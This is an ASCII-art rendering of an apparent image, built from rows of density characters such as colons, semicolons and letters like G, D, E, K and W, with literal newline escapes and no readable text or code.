...:..:....:::...:..:.....::.::.\n:::.:.:::.: ::.:::::.::.::..:: :::::iLGDGDKWKE#KK#WWEKWWWWWKWWWEWWWWKKKKKDDfjj;;,,..:...:.::;jGjjjjLGKEEGEKDDEGDDGGGGfLjGKKEEKGjj;;,;;: :.:.:::...:. :....::.. : ..:::::..::::  ::::\n.:..:..:: : ..:::: :..:: :....: .::ijGDKDGEWEW#EW#EWKWWWWWWKWWWEWKK#KWKKEDGGi;;;,,::.:.: ::;i;t;LEGGDGEGKEGGGLjiji;j;;;;tjGGEKDGjt;.:.:: :: ::.:: :  :.......:..:: :.:.:...:.:...::.\n..: ::..: :..::...: :.: :: :::..:::ifLGEKEKEK##WWK##KKWWWKKKWWK#K#KKKWKWKEKGti;:.:.,.:. : ;ij;;jGGGLGEGGDEGLjj;t;;;;;;;;;;tjGEDGjt;:.. ;:..........::..:.......:  :... :..: ... :...\n..... :  : :.. :.: .: .:  :.. ::::;ifGEEKKE#KKWWWEWK#K#K#K##EWKEWKWWWW#EEEDGi;;;.:.:..:: :;ijitGGLLGEGEKGGGjj;;;;;;,;.;;:;;;LGKEGt;.: :. :..:: ::. :. :... .... :.....: : :::.....::\n :......:. ..: ...::..: ::.....:::;iDEEWEKKKKKKK#WK#KWKW#K##EWWWKW#EKEKWKKEDGj;;;.::.,: ;;ii;jjGGLGGDKGGjLjji;;;,::,:.;:,::,;tjGGLL;................:... :  .:: ::....:..: :: :.....\n.  .::..: : . : :..: :..:: :..:.:::iGDKKKK#KK##E##WWWW#KWW#WK#EKWWKKKEEWEKGEGj;,.:...,..::;;jjLGLGLGEGLGLjjtjt;;;;;.;;.::,:.,;iGDGG;;..............  :..: ::.. :.. : : .: :. :  :..:\n.::..: :..:... ...:: :: :: :  : ::,iGDEEKEK#EWKW#WW#KWK#KWWWWWKEWKKEWDDDKKKDGGi;.:.:,.;::;;itLGLfLGGGGGjjjt;i;;;.;,,::,:...::,;LGGGL;:: .. : ....... : : :....: :: .. :.....: :: ::\n :..::.::.: . :: :  :.....: :: :::ijDGDWEKWWK#KWWW#K#WW#WW#WWWKK#KWKEKKKDKEEGGj;.:...:.,:;;;jLjGLLGKELjLjjt;t;;;,,;:.:.:..:..:.iGGGLj:.:..... :  : ::..... ... :.:......: :  :  :  :\n.. :  :..: :. ::. :.......: :: :::;fGDDDEWKWW##WW#KWWWWWWWWWWE#KWKEWEKEKGDEDGGj;:.:..:.,;i;jjGGLLDKEGLjjjtjt;;;,,;,:..:.:.:.:.:;;LGt;j:.: ..  :....:: :: : : . : . :  :.: :.: :.: .:\n. : .... .:  :  : :.....:......:::ijfDEEWKK#K##K#WW#KWWEWEWWWWWKWEWKEKGGDGEGGjj;.:..:.,;jEitiGGLjGKELjjtijii;;;,;..;:.:.::.:.:..;jGjtt.::  :....: :  :.: :.: ::...... ::......:.:.:.\n:  :  .........: :  :  :  : :...::itGDDKEW#KWKW#KWWWEE##WWKWEWEK#KKEKKDGKGGGGf;,:..:..;jGK;jLGLGGEKEjLjtt;j;;;;,,,::::.;..:...::.jGLj;j ::: :: :: :  : ......:: :: :.:....:.: :.:.:.\n:  ...................: :....:...:;fGDDKEKWEW##W##KWWWW#WW#K#KWK#KKKDKGfGGGGLj;::..:.;ijjjjGGGGDKKEGjLjjLjjji;;;;,;.::.:..:....:.;fGLijj.:: ::.::.... :: :  :  :  :..:.. : ::..:..:\n ....: :.............:: ...:..:  :ijGDKEWWWWWEK#KK#WWWKWE#KKWWK#KWDEGGGGfjGji;...:..;;;;;iLjGLGKKKGLLjLLGGLLLj;;:;:.;:..::.::....:jDLijj.:............. :..: :: :: :.......:: :: ::.\n:  :  ..: .. :  : :: :: ::. :: :: ;fGDEDEWWWKWWWWWWW#WK##WKWWK#KKEDKEDGfGfjL;;.:.,:.:;...;GLLGDDKEGLGLGGLjfjfLj;;;;,..::.:.::.:...jKLt;j;.................. .. : .........: .....::\n :...: :: .. :  : ....: .. ... :: ;fLGDDEKWWKKWWW#K#E#KKWKWKWK#EKEDEGDGGGjji..:.::;.:.:..;LGLGKKELLjjjttt;;;;;;;;;,;..:.:;;;i;::..;KGj;;j; :  : .. :: .. :  .  .. . .. :: . ..  ..:\n ..    . : .. :: :  .. : ....: . :;ffDGEK#K#K#WW##WWWW#KWWWK#KWWEKGDDGfGfjj;.:...:..:..:;jGGGEWKGLfLjtjtttij;.;;;;;.:.::;;;iji;:..;KGf;;;; .. : ...  .... .: . ..: : ..  : :: :... :\n.  .. ... .... . .  .... .  :: :. :LGDDDEK#WE##WW#K#KK#EWWW#KKWKEKDDGDjGfij;.::...::..:;j;iLEDKKGjLjjjtjjLLGLj.;;;;;..:.,:;;;t;j::.EGj;;;;: .:   .. . : ..   ..    : . :. ....... .\n . . . .: ... . . :. . :  ..  . ..;jGDGDKKKKKWK#WKW#EK#WKK#KWWWKEDDGGGjGjjtj,:...:.;..:;;;;;GKKGLLtjjtjjGGEEKD;.,;;;.:.;;,;,:::;;.:DGL;;;;...... : ..   : .:  : : : ...  : .. :.....\n : .  :  . :..  : . ... : .  .. ...iGDGDEKKWE##EWWK#K#KWWKKKWWWEDDDGGGjGfjji;::.:.....::,..:,DKLjtjttLLGELiiEGG;;i;;.:,;;;;jjj;: :.GGj;;;;... .. : .. : : .. .... :   :  : .. :....:\n. : .  ....   :.. ...  . . :   . . ;GEGDDEE#KWW#KWKK#WE##K#K#KKDKGEGGGGjjjjj;:.,..:.:....;,:,;EGLjtjjjjLLLLjLGK;;;;,: ;;;jGDWKG;. .Gjt:,:;: .:   ... : .. : : .   .... :: .........\n .  ... :  . .  : .. .. ..   : . : :GGDEDEWKKWWWEWWKKWWEWWEWKKKDGGGGGjjGjjji;:;:::....::.,:.;;jGLtjttjtjtj;;;;j;;t;;..;;;jiifDW;:.:Ei; :.; :  : .. .. :.........:... ..  : :... : .:\n .. ... . ..  : :   .   .... . .: ..GDGEEKKK#KKKKWWWW#KWWWKEWKKGLL...;jjfjji;,;::.:.. ...:;:;;,;Gtjtj;j;;;;;;;;;jtt;:.:.;;itjjLL; .L::..;...  : .. :: .. :  : ..........: :  : ....:\n. . . ..: .... . ........ .... :....LKLKDKKKWWWWWEWWWK#W#WKKKEELL;:;..,;jjjt;;.;.:.:.:....:;;;;iLjtjiti;;;;,,.;;tji;;:.:;t;;;.;;;..j:. .:. :  :  .....  : .. ..... : ..  : :: :...:\n .. . ... .. : .. :. :: .... ...: :.iGGDEKKWEWWWKWWKWWK#EWKWEKGLt,tt...;;jjj;;:;;:... :. .;;,;;jGjttti;;,,,;.;;ijtt;...:;;;;;..:. .j:  :; .... . ...: ...... : .. : :: :: .::..: ::\n . : . . : .. :: ..: :: :: .. : ....;jGGDKDKKKWKKK#KWWWWK#KKGLLtt,tj,..:;;;;;;:,,:,:.. . ..;,;LKLttjt;t,.:,;:,;ttjt;:...:,.:.:.: . j: .:.  :  : .... :  : :: .. ......:  : :: :..::\n. . ....: : : . : :..  : ....: :: :.:;fGDKDEWWKWEEWK#KWWWWKEGGjf;,ti:,...;;;;;;;:,:..:..:..,;jKELjttt;;;;,,,.;;jtj;;::....:,,:...:.j:..:.. .  .. : .. :: : ........: : ::....:  :  :\n :.......  :...:  :..   :...... ....::iGEEEKEKKWKWKWWK#KEWWELjLj;,,,j;.:.,;;;:,::;:.:......;;KKGLtttt;,;,.;,;:;jjj;;.....:.::... . f;..: ::.........: :: .......: :.:.:: :.......::\n. .... .....: .. :  :  :  : ..... : .::GGDKEDWWEWK#EWWWK#KWGLjjf;;.tLL. ..;;;;;:;:,:...:. .,jEWGLtttt;;;,;:..;tjLj;;:.:...,:.:..: .ii.:.......... :  :  : :: :: :::.::.::.....::.. :\n.......  : . .....  ..: ..:..... .: .:.iGGKKKKKKK#EW##K#WWKGLjtLt,.;ff; .:.;;;;;;:;;:..:.:.:,LEELtjti;;,,::.;ttjtj;,:...;,:::.: . .i;;:::.::.:...:....::: : :::..:.::::..: :..:: :.:\n..: :: :: ... :...  :  :...:..:::..:...;DGEKKEWWWKWWWWWKKKKLjjLfj;.,;t;.:.;,,;,:;.,:,,...::,:jDELtttt;;;:,.;;Ljtjj;;..:.;;.... :.. ;;;::.:.....:..:.:.: :: : ::..::::::::.:.::.::...\n.: :::...................:.:..: : :..:.:jGDEEWWKKK#K##W#WWKLjjjtjt....;..;.;;;;;;.,,..,.:...,;GELtjtt;,;,,:;;jjLLLj;,;..;,,:..: : :;:;:::::::.:.:..:.: :.::::..::.::.::.:.::.::::.::\n::::::.:.:.......:.: :.:.:::::::.:...:::.;GDDEKEWKWW#WW#KKKLLjtjtj;....:,,;;;;;;;.,,:.......;;LKLtjtt;;,,;;it;tiij;.:;: ,;;,..:.: .:.:;.::::...::.:....::.:.:::...: : :..: ::.::...:\n::::::.:: :::: ...:.:.:.. :::.:..:.:.....:LGEDWWWWW#KWKWKEEjjtjjjLt;.. .;;;;;,:,::::..::..:.:jKELttt;;;;:;;ttt;t;;:,:...:;;;.:.. .:::..::  ::.::.:.:::...: .: :.:..:.:.::.:..:::.:..\n.::.:.: ::: : : :.:.:.:..::...::: :.:..:.:LGDDE#WWW##WWWKKGLjjtttjLt;:.:,;,;;;;,,;:::.:..:.:,LGEGjttt;;;;t;tj;ttt;;...:.:;;,:.... :...;..::: : :: : ...::.:: :....:....:.: :.:  :...\n....: : .: :.:...:..: : :::....:: ::..:: :jDWKWWWEWWWWKKDDGjtjttit;;;;;;tt;t;;;,;:,.:.. :..:,;LGLttjt;;,;tLLDDDGGDLff;..::;;:..:. ..: .: :..::: ... ..:: : ...: ::........ :: :.: ..\n.....:.:: :.: :...:: ::.. : :..:: : ..::..fKWWKWWWKEKKKEDGGjji;;t;;;,;;;;ttt;;;;.;....:..:,,;tGLLtit;;;.;tGELLLGLfffLjt,.;;,..:. ::...;... :   :: :. :.: ::: :............:  : .....\n :: :....: :.: ..:  :.....: :: ::.........iEWWWKWWKKKEKEGGGj;jt;i;,,:.;tijt;;;;;;.;.:..:...,:tGLjtti;;,;;;LGLjt;;;t;ffft;;,;:.... :: :: : ....:  : .: ....  : ............ :: :: ::\n:  :  :  :.........: ::...................;GKWEKEKEKEGGGGGjjti;;;;,,.;;;tttjt;;;,:...:...,:;;;LLtjttt;;.;;;DGL,;:...:tfLf;;:..: ..  : :...............:: :  : ...........: :: :: ::\n :: ::.. ::  :  : :: :: :: :  :  : :: :...:iDKGGGGGGGLGjjjjti;i;,,;:;:,;jjttti;;,,,..:..,:,,;:.;jtttt;;,;;itLDGLfft,,,Lft;;,.... :  :. : .. . :  : :...: .  .. :  : :: :: :  :  :  :\n........: .....: :  :  :  ...: :: :  :  :  :LGGGGGGGLLjjjtj;jt;;,;,,.,;;tjtjt;;;;;:,::..::,:,:..;;;i;;;;;;ttjfGDLffjjjjt,;,;:.:.: .. : : .. :: :: ....  : : : : :: .. :  : .. :...:\n :: :: ::.....: : :: :: :: : .......: :: :: ;i;ijjjjjjjj;jtt;i;;,,::,.;;;jjiit;;;,,:..,.,.:;,...:;tiit;;;;;itjfGGLffjti..;;..... .. :. ...: . :  .. ..   :  .. .........: .. : .....\n :: :: :: :  :  : :...: ... :: :: :  :  :  . ::.:,:i::::::;t;;;,,;;::,,:;itjitit;;;;,:,:,,:,;  :..:,;ti;;t;;;;;,;;;,;....;.:..... ::   : .. :: :: :.. :: ... : : .. :..  .....  ....\n:  .......... :: :  : ..........: .. :  .. :..::i;,:;::::.:;;;;,;:::..:.,;;ttt;;;;,;;;:,,,,,, : ...:;t;jiit;;;;;;;,;...:.:..: .: .. :.. ..: :........... .  : .. ....... : :: :: ::\n :: :.......... : :: :: :...  .. : :: :: :itfGDGffjii;::.:. ::;;.;:,:.,::,;;tittt;;;;;;,,,:;.. : ...;;ti;t;;;,,:.::.:: .:.:.... ...: :: :  ..: .. .... ..... :: ::  :... :   : :   :\n .: ...... :: :: .......  ..  .. : :...:ifLDDDWDWWEWKWKWEDf;. : .;:::.,.,;,;;;;t;;;;;;;;;;. . : ..:.:.;;tit;;;:,:..... :.... :  : :: : : . :   : : :..... :..  : .. . :  ...: :.. ..\n :..  .. : :... ..... ....... .. .. .. ;tfGGDEEEKWK#W#KWWKKEGf:.. :,.:...:::;;;:..  ...: ...... .:. ..:;;itt;;:;.::.::. :...: . ..   .. .  ........ . :: ..: .. : : :: .. : .... ::\n . : ..... .. ... . ..... :  .. .. : : iffDDDDDWKKWWKEWWEW#KKKKi...:::,.::;,,:. .. ...  .. ..: ...:.:::;;;;jit;;:;.: ......  ..: ..: ... :..   : : :: ....  : : .. .....:  : : : . .\n..: . : . .........: :.. ..... :: ..: :jffLDEDEEKKKK##WWKKEEKKEDL: ..:,:::.::; :: :.. :..  ... . :.:.:,,;;;itj;;;.:.....:: .. :... ... ..   : :  :  : . .....  : ....: : : :: .. ..\n . ....  ...: . :   ... .... . . ....ijLfLGDDDDKKWWWWKWKKKWEKWEEEKD: ..,.:.::. :..  :.:.. ..  :  :.::.;.;;iititt;;;;:::... :.........  :   :  .....  : : .. :  .... :..  : .... : .\n .. ...  ... : .... : : .. .....: : itjfGDDDEEEKKKWEW#KWWKKWEWEEKDDGi :.::,: .. .... . . : :   : .::.::;;tttjttiti;:;.....    :.. . : . ..  : :   : ......  : : :: :   :.... ......\n..: : .. :   : .  ::   : . :  :   ..fLfDDDDEEDKDEEKKKWWWKWWWEWEEEEEEDj..::.;:  ::  . :  .  : .. :.:.:.;;;titjtit;;:;:...:.... :....: .... ...:  : : .   : ...  : .. ... ...  .... .\n ....... . ....:  :: . :  : . :   : tGfDDEWEWEWWW##WW###W###K#KKEEEEDEf:.,:   : .. ...  .. : ....:.,:,:;;tit;t;,,,.,...... .:    .... . : . .: . .  . . :  ...: . :   ... ... . . .\n .. :: :: : . . : .... .........:  :ifffDDEEWEK#KEW#WK#WWWW#W#WWEKEEEEKf.:.  : . :   : . .. ..  . :,:;;;jttt;;;;,::....:. :  : : .. : . ... ... . :  ... ..  .  .. : .. . ..... .. .\n........ : .. :. : . ....: ........:ffffGLDDDKKKWK#E##W##W#W####WKWDEEEEf ..: ... :.. .. : ... : ..::.;;;j;;i;;:;::.::....    .  ........ : . ... ........ : .... . .. :...  . . ..\n .. ::   : .... ... .  .. : :: .:iiffffGDGDDEDKKKK#KK#WWK#KK#KKEW##WKDWDEi.... .... ... .....  : ...:,;;tti;i;;,;.:.,::.:,:.  :. : .......: .. :...  : ....:   :  : :: .. :  :  .\n....  : ....: ... .: :..   : .::tifDGLfGDDDGDDWEWKWKWWWWWWK#WK#WEKK##KDEWEi  : :.. .. :...: .:  ...,;;;;iti;;;;,.;:..:.:::::..  : ::..: :  :  : ..... : : .........:. :...... ::..:.\n..: :... ....... ........... iiiitfEDDDfGDGGDDEEWWWWWWKKWWWK#KKEWEEED#WEDDG: .... :: : ....... : . ,;;;;j;t;t;;,;..:::..:.;....: : ... : .. :: ....::..: :  .....: : ....:.  : . ..\n... :: :: : ......:: :...: :ititifLDGDfLGDfGLDWEWWKKK#EWK#KKKK#KKKKEKDWKEDDf.............  :  : . :;;;;tt;tt;;;:,..;..::.;.;;.:: .:::..::. :..:.:.....:..:. :.....::..:::...::.:: ..\n ::.:: ::... :. :....:...:tDLifjtfDEDGGDDffffDKWEEWEWWEWWEWWEKKWKKEWEKEDEEDG:.: .:::....:::.:.: . .;t;ttt;ttt;;:;..,.:.,.:;;;;;.:. ::..::.:.:::::.::::::::::..:::.::.::::::.:.::.::.\n: .:  : .:::.:.:: :: :: :iDDfifffGDEDLLDLLffLDKEKKEWEEWEKEKKKWKKWEKWEWWEKDDLL..:: :..::::.:: .:  . ;t;itt;tt;t;;,;,,.,,,:,;,;,;;;::   ::::: ::..:::..:::.::.::.:.::::.:.:.::::::::::\n.: :::.::: .:.: ::..:.:;iGDLtfffLDGDfLGLGLffGDKEKEWEEEDEKKKKKKEEWWKK#KKKKEDDLfff;::.::.:.:.::: :  .;;ti;ijit;;;,;:.,..,:;;;;;,;;:;::.. :.:::.::.::::::.:::::::::::.:.:::.::::.::.:::\n.:.:..::::.::::::.:.::tfGGfftDffLDfDGfffLLfDKEEDEEDKEKKKKKKEWEKWKKEWEWWEWKEKDDLDi::::::.::::: . . .;;;;i;j;;t;;;;..:.::;;;;;;;i;;:.. :..     .:::::::;::::;;:::::;:;:;:::;:;::;;::;:\n:.:::::.:.::::.:.:::iitDfGfGfLffGLDDfLGGffDEDKEDEEWKKWEWWEDWEKKKKKKKKKKKKWEEEDDLi::;::::::::. .....:;;t;;titit;,,,;.;,;,;;;;;t;;;::.:..::.::.  ::;::;::;i;,:ii;i;i:i:::;;:::;:::;,,;\n:::.:::::::.:::.:::iitfDfGDfDDfffDGDLDLLLGKDKEKEEKKKKKKKKKEEKKKK#KWKKEEKKEWEDEDLLi;:;:;:;::: . .  .,;;;;j;tt;;;;;;:;::;;;;;;;;;.:;::.:::;;;:::..;,:ii,i,;iiii,iiiii:i:i::i:;i:ii;iii\n;iii;;:;;:;::;:iiiijffKffGfLWGfLDGDLLDGDDEEEEDWEKKKKKKK#EKKKWE##WKKKKKKKEKDEDEWEEDDii;i::  : : .: :,;;;;j;t;;t;;:;;;;:;:;,;;;;;;;;:;,:;;;;::::.:.::ii:i,;,;;i:,i::i:i;,;:i:::;,,;ii,\n,;,;,,ii;,;,,:iiittttGDtGDfD#LLGLDfDLDGDEEDEDWEWEKKKKKKEEKDKKKKEWW#KKWKEWDKKKWEWWEEEGt:     :...:. ;;;;;;jtt;;;:;;;;,;;;;,;;;;;j;:,,:;,;;;;,::.:: :::;:;;;::,;;:i;,;:::,:::;::,:i::;\niiii;;;;:i,;;iG,itiffWLfDLDWEDfLGDDLDDDEKKEEEEEKKKKKKKKKEWEKKKKWKKKKKWWEEKKK#EWEEKDEEDG . ...:.:. :,;;;;t;;;;;,;;;;;;;;,;;;;itj;;;:;;;;;;;::....:  ::,;::,;:;::;::::::;:::::;::::;i:\n;,,;;,;ii:i:LEttijffDWffDDDWWDGLGDfDGDEEDEEEKEEWEKEWEKKKWEWWEWEE#WWEWEEWEKE#EWEKDEEDEDEi. ...::;:..;;;;t;;;;;;,;;;;;;;;;;;;;tij;;:;;,;i;;;;.:.:. .: ::::;:::::::::;::::::::::::;::::\n:::::::::::jGiittffDKWtLDEWKKDLDLLDLGDDEEDDKKEKEWWEWEKKKWEWWEWKWW#KWKKEKK#KKEWEWDEEDWDKEDj::..: : ;,;t;;;;;;;;;;;;;i;;;;;;;;;j;;,:;;;;;i;;,:..:.: : ::::::::::::::::::::::::::::::::\n::::::::::tKjijtffjE#EffDKKKDDGfGLGLDDEKDEDEKKWEWEWEWWEKKKKW#E##KWEWKKEWWEWEKEEEKKEKDEDEED.:::.:.:;;;;:.;;t;;;;;;it;;;;;;i;it;;:;;,;;;;;,;:.:.. . . :::::::::::::::::::.:::::::::.:.\n::::::::::D#iftffffWWDfGDKKKEDLDLLLLLDDDEEEWEKKEWWEWEKKKKKKKKW#WWKKKKKEWKEWEKKKKEEEKDEEDED::....:,;;;,:;;t;;t;;i;;;i;;;;;;;;j;;,;,;;;i;;;;;.::... : :::::::::::.:::.:.::::...::.:...\n:::.:::::EKfffjfffGWWLjDDEWDEDGfLLGGGDDDEEKKEWWEWWEWEKKEEWEWW#KWWKKKWEWWKWEKKKEKEEDEDKEKDED;..;::.;,,;;;t;;;;;;;;;;;;;;;;;;;;;;;;:;;;i;;,;:.::.. . .:.::::::::::::::::.::.:..::::::.\n..:.:.:.jWGfffffjfD#DDfDEKKEEDLDLLGLDDEDEKDEKKWKEEWEWWEWKKKKK#W#EWKWEWWK#WKKEKEEEEEEKDEDEDDt ::.;;,;:;;;;;;;;;;;;;;i;;;;;;;;,;,;:;;;i;;;;,.:.. :.:. :::.:::.:...:..:::.::.::::::..:.\n:::.:::.DKfGfffffLEWDDfDEKKEEGfDLDLGDDEEKDKKDWWEWWWWKKWEE#W#WK#WWWWKK##EWWEKKKEKEEEDEKEKDEED:..;:;;,;;;;;;;;;;;;;;;;;;;;;;;,;;;;;;;;;;;;,;:.:.:  ....:::: ::::::::::::::::::::::::.:\n:::.::::WfDLLffDfGKEDDfDEEWEDGDDDGGLDEDEEKKKEKKEWWEWWEWEEW#E#WEWWWKWWWKKKEKKKEDKKEWDEKDDEEEDG,::,:;,;;;;;:;;,;;;;,;:;;;,;:;,;;;;;i;;;i;;;,:.::. .....::.:..::::.::::::::;::;:;:;::::\n: :::: iELDDfffGfDWDGEfDDEDKEDLDDfDDDEDKEDEDKKKKWE#KWWWW#KK#WE#WW#KK#E#EWWEWKKKKKDEEKDEEDKDED::;:i;;;;,;:;::;;;,;;,;;;:;;;;;;;;;;;;;i;;,:,.:...... .::.:::..:..:::::::;;:;,;i:i,;i;:\n:::.:::fGDDDGffLjD#GDEfDDDKEDGDDLDGLEEEDKEDKKKKKKKKKKWEWWK#E#KK#WKW#KWKWEKKKKKKEKKKKEKDDEDDDD.:;GG;;:;;::;::;:;;:;;;;;;,;;;;;i;;i;;j;;;;;::.:: .. ..:.:.:.::::::.:::;;iiii;i;i;;i;i;\n.:::...DGDEWLtGffD#LDDfGEEDEDLDDDfDDDEDKDEEKKEEWKKWE#WKKKWEWKK#K#W#K#W#K#WKKEWEWKEDDKDKEEDEDE::jWG;;;;:;,:;;,;;:;;:,;,;;;i;ii;;;;;i;i;;:.:... :  : ...:..::..::::::;:iiiiiiiiiiiii;i\n:.::..fWDKKKLfDtLKWLKDfDDDDDGLDDDGDDEWEDEKEWEKKKKE#EWWKWKWWKKKW#KEWK#KWW##KKKKKDKDEEEEEDEDDDD::;;it;;:;:;;::;;;;;:;,;;;;;;;;tji;;;iti;;:...: ...... ....: ::......::;;iiitijiiiii;i;\n.:::.:GWEKKKDfDiDEWGKKfGDEDDEGDDDGDEKDEKKDKEEWWKKKKWEK#KWWKWWWWW#KWWWKWKKKKKEWEKKEWKKEKEKDDED;:::;;;;:;:::;;;,;:;;;;;;;;;i;;;jji;iti;;:;;::.:..  . ...:...: :.:.:::::iiiiiiii;iiii;i\n:...:iKDEW#ELDDiDWEDEKfDDGDEEDDDDDDEEEKEDKKEWEWKWWKKW#EWWWKKWE##KWEWWWWW#WWKKKKKKEDEEDEKDEEDDi.:;;;;:;:;;:;;,;:;;;;;i;;;;;;;tLjj;;;t;;;::.. . : ...:: ::....:  :.:.;:i;iiii;ii;;iii;\n.....fWLW#WEDDDjDKDKKKfDEDEWDDDEEEKDEEKEDWKKK##EWWKKWW#WWKKKWW#WK#WKWW#KWWWWWEKKKKEKDEDKDEKDE;:;::;:::;:;:;;;:;;;;;;;;;;;,;;jLj;;i;i;;;,.:...: : :.::..: : ....:.::::;iiiii;i;ii;i,;\n:..: GWLWWW#DDLfDDLKKKLGDEDEDEDDEDEKKDEWDEWEWKK#K#KWWWK#KKKKWWWEWWK#WKKK#KKEEKKKKDEEKDKEDEEDEi;:;;:;:;:;:;;;;;;;;i;i;;;;;;;;jGji;ti;;;,,:...:. .. .. :  :.::......:::;iii;iii;i;i,i;\n :..:DEDW#WELEffDDDWKKfDEEDKDGEDDWDKDKEEWEEWE#KKWWK#W#WWWEK#W#WK#KKK#KWEWWEWWKKKKKKEKEDEKDDDEj::;:;:;:;:;;;tLGGGLL;;;;;;:;,;LLLti;t;;;;:.:.. : :...::..: : t,....:::;:i;ii;i;,;i;i;,\n :...EEK##WEDDfLDEEW#DfDEEKDGDDDDKDEDKEDKWWWWKKKKE#WEW#EEKEWWW#K#W#KKWKKKKWEWKKKKKEKEEEEEDDEDj;:;:::;,tLEEEEEEKEKEDj;;;:;;;;ELj;i;t;;,:.:... : . .:::....,D,: ...:::;ii,ii;,;,ii;i,:\n: ..iWDE#K##EDffGDKKWELDDDEDDDEDKDEKKEEKKEEWWK#WW#KW#WW#WEKW#K#WWWWK#W#WEKKWKK#KKKEEEDEEEDEDEi:;::,;fGEEEEEEEEEEEEEDG;;;;;;;GGjtti;;;;;:.:: : : .... : .,jD..::...:::,;ii:iiii;:iii;\n : iEDEWW#WEEDjfDEE#EDfDDEDGDDEDDKEDKEWWEWWEWKKEWK#WWW#WEKW#K#W#W##KK#EWWWWK#WEWWEKEDEDDEWEEGj;::;jLEEEEEEEEDDEEKWEEEf,;,;;;GLjt;;i;;,:.:. .  .  :.::..,iDL :  : :::;ii;i;i:;,iii;;,\n::iWWWEE#K#WDLfLEDKK#DGGDDGDEDEDKEEKKKKKWWKK#KWW##WWW#KWKK#W#W#W#KWW#EWKWWKWWE#KKEKDEEDEDEDEDi;,tLLDEEEEEEDEDEDEEKKEEDEf;;;iELjij;;,;;,:.::..: :: : . ;ijG, :  :..:::i;,,;ii;i;,;ii;\n :W#KWEEW##WKLfGDKKEWDLDDDDEDDEEKDKDKKKWKWKWWWE#KK#W#WWWWWWW#KWWWWWWWWE#WWWWK#K#KKEEDEKEEEKDEffLGEEEEEEEDEDDDDDDEEWKKEEDDf;fDjtiti;;:;.:...:. .  ...:iijDi. : . ::::;ii;i;i;i;,i,;i:\n:f##DWDWWWWKELfGDWWWEELDELDDEEWEDEKKWWWKWKKWKKWEWK#K##EKWW##K#EW#WEWWWWKK#KWKKWEKEKEEEEKEDEKDLDEEEEEEEKDDDDDDDDDDEEKEEEDDELLGLjt;;;:,::.:.. ..: ....,ijDf....  : :.::;iiiii,ii;;iii;\niEW#DWEEW##KDDfDEKKWKDLDDGDEDWEDKEWE#WKKWEKKKEWW#W#W##WKW#W#KWK#E##W#WW#WWWWWW#WKEDWDKEDWEEDEDDEDEEEDEDEEDDDDDDDDDEKKKKEDEEKLjj;i;;;;::.:..... : ::.jijDj.: :.: :::::i:ii:i;;iiiiii:\nEWW#D#EEW#WWDDfDEKKWEDfDDDEDEWDEEKKKK#WKWKKKKKWWW#W#K#KWW#WWE#EWWW#E#W#WKWWWWKKKDEKEEKDDEEDWEDEEEEEEEDDEDDDDDDDDDDEEKKWKEDDWLjt;;;,;:,.:..... :.:.,tijLf. :.......::::;,:;,;,;;;,;;:\nK###DWKK#W#EELfDK#KKKGGDEDDEWKKKKEW##WWWWWEKEW#K#WW#WKK##K#E#WKW#WWW#KW#KK#WKKKEKKDEDEEEWDKKDDEEEDEDDDDDDDDDGDDDDDDEEEKKEEDEGLt;;;;;.::... ... .,,iijjDi :  ....::::::::i:::;::::;::\nEWW#D#WDWWW#DLLDKWEKKGGDDEDEKWEKKKWKWW#WWEEWEWWWWWWWWWE###WW#KKWWWW#E##K##WWWWEEDEEEDKDEEKKEEGEGEDDEDDDDDDDDDDGDGDDDEWKWKEEDLjt;;;;.,....::.....,t,ijfD,...: :.: .:.::::::::::::::::\nWEW#E#WEW#WWDGLDKKKWDLLDGDEDKWEKK#WW#W##WKEKEWW#KWWWKWWWW#W#WEW#W##K#WW#KW#WWEEEDEEDEEEKKKEEDKEDDDDDDDDDDGDGDDDGDGDDDEEKWWEELft;;,;;:...:....: .i,ijGDD.... .......: .:..:.:::.:.:::\nE##WE#EWWWKWDDfD#W#WELDLGEEEKKKEK#W#WW#EWEWEWWWWW#WWKW#WW##WWWWWWWWWWWWW##KEEDKEKKKEEEEK#WWEEWWEDDDDDDGGGDGDDGDDGDDDDEKKEKEWDft;;,:.:.: .... . .i,jfDDf: ....::..: :.... ::...:::...\nKE##W#WEW##WDGfDWWWKDLDfDEEEKKEKKWKW#W#WKWEWEWKK##EW#W#K##WW#EK#W##W#WWWWK#WEKEWEKEDEEKWWEEDK##WEDDDDGDDDGDGDDGDGDDDDEEEKWKEEEf;;;::.::.: ... ..iijLDDi: :..:  :  : ::.:: :.:.  : :.\nWE#KKWWD#KWEDGLEWWWEKfLDDDKKKKKK#W#WK#KWKKEWWKW#WK#WEW#WWW##WE##K###E##W#KKEEEEKWEWKEWKWWWEE###WKDGGGDGDGDGDDDDGGGDDDDEEKEKKEED;::;:.....:.. ..,iiLLDD;......::..:... ...: : ::: ::\n#KK##WWEWWEWDDLEW#KEEfDDEKKKKWE##W#WK#KWKK#KW#WWWE#W##W#W#WW#EWWW##WWWW#KEKEEDEKKWEEWW#WEEDE####WEDGGGGDDGDGDGGDGGDDDDEEEKEWKEEf;::.:. .: . . .iijLDDi.: : ....:..: :: :..: ..:: ::.\n###KW#WEW##WDDfKEW#WDLLDKKDKEWWKWW#K#W#K#KKWKKKWW#K#KK###W#W#K#W#KK#W##W#EKDKKEEKKKKK#KWWEDKWWW##WEDDGDGGDGDGGGDGDGDDDDEEKKKKKKD,.;:..: .......tjfGDD,....:: :.....: ....: :.:  : ..\n#WW#KWWDK#KWDDLD#W#EDfDDKWEWEKK#W#K##K#EWKWKK#KWWKW#KW#W#W###KKWWWW##W##WWEKDEEWKKKW#W#EKDEE###W#WKDGDGGGDGGDGGGDGDGDEEEEEKKEEKDf,,:.:.:. ... ,jjLDDf ::... :.:....:.:.:...:..::....\n#K####WD#E#EDDLEW#WEDfGEWEWEW#K##K#WW#EWKKWEWWWK##W#WW#W#WW#W#K#K###W#WKKEKDKEWK#W##W#WEDEKEW#WKWW#KDDGGDGGGGDDGGDDDDDEEKKEKEKEEEi;.:.:.. ....ijLLDD,.. :....::....:..:....:...: ::.\nW#K#WW#EK#WEDDfK#E#WDfDDWWEKKW#KW#K#WW##KWWWKWE#KWWWKK##W##W#WW#W#WWW#KKWKEKKKKKWE##W#KEDEEEKW##WWW#DGDDGDGDGGGGDGGDDDEDKEKEWEEEDL,:.:. : . .,tjfDDD :  : :: :: :: :  :  :....:: :.\n######WE#WEKDELEWW#EDfLEWKKKWW#WWWW#W#KKKKE#WKWWKW#W###W#W##WWW#K####KWEKKKKKKW##W##KKKDEKKEKWWWW#WWEDDGGGGGGDGDGDGDDEEEEKEKKEKEEDt.:.:..... tjjfEDD :  ... :  :..............  